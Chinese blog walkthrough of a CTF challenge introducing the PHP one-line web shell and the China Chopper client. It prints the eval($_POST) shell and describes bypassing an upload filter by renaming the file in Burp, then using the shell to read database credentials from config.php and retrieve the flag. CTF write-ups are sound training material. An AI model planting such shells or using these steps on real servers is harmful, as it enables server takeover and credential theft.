一句话木马及菜刀的使用

来一波原理:

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

<?php  @eval($_POST(‘1’);?>

各种绕过文件上传的姿势:https://blog.csdn.net/wy_97/article/details/76549761

如果你已经成功上传了一个一句话木马文件,那么现在就可以使用菜刀链接了

具体的步骤就是右键添加;输入url加上上传路径及上传文件,具体的可以参考这个例题:
题目链接:https://www.ichunqiu.com/battalion?t=1&r=0

解题步骤

  • 打开网页我们发现需要上传一个文件我们先尝试上传名为1.php的文件(本文件夹中)

此时我们将1.php文件扩展名改为1.jpg然后打开burpsuite抓包抓包之后我们将文件名改为1.php

然后点击forward

发现文件上传成功

  • 我们利用中国菜刀连接目标服务器

菜刀连接上去在里面发现了数据库配置文件config.php,看到了数据库账号密码

https://i-blog.csdnimg.cn/blog_migrate/7f63db430739c25881ed7455bcbbd781.jpeg

https://i-blog.csdnimg.cn/blog_migrate/bdece4ab8bb8ce40ec93329622ce055d.jpeg

编辑菜刀连接数据库上去拿到flag

https://i-blog.csdnimg.cn/blog_migrate/83b474dbe023f4c8ea29fffe2d21f841.jpeg

然后右键点击数据库管理进入到页面在页面上方输入sql语句寻找包含flag的文件

https://i-blog.csdnimg.cn/blog_migrate/7429a4a7215a8eea182ab9dc3fdc9f14.jpeg

 

转载于:https://www.cnblogs.com/qingwuyou/p/10687472.html

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值